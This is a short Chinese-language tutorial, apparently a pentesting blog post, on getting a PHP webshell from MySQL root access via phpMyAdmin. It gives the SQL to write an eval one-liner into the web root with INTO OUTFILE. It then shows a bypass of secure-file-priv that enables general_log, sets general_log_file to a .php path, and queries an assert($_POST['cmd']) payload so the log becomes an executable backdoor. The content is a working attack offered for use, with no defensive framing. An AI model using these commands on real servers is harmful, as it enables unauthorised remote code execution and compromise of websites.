MySQL root账号general_log_file方法获取webshell

通过general_log和general_log_file来获取webshell

网站开放了phpmyadmin,知道网站真是路径和root账号密码的情况下,最简单的getshell的方法就是直接导出webshell:

1
select '<?php @eval($_POST["lzx"]);?>' into outfile 'C:/phpStudy/WWW/1.php';

但是今天在测试的时候发现报错了:

1
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

意思是MySQL开启了–secure-file-priv选项,禁止执行这条语句。

MySQL打开general_log之后,所有的查询语句都可以在general_log文件中以可读的方式得到,但是这样general_log文件会非常大,所以默认都是关闭的。有的时候为了查错等原因,还是需要暂时打开general_log的。换句话说general_log_file会记录所有的查询语句,以原始的状态来显示,如果将general_log开关打开,general_log_file设置为一个php文件,则查询的操作将会全部写入到general_log_file指定的文件,通过访问general_log_file指定的文件来获取webshell。在mysql中执行查询:

1
2
3
SET global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';

然后访问http://www.xxx.com/cmd.php文件即可。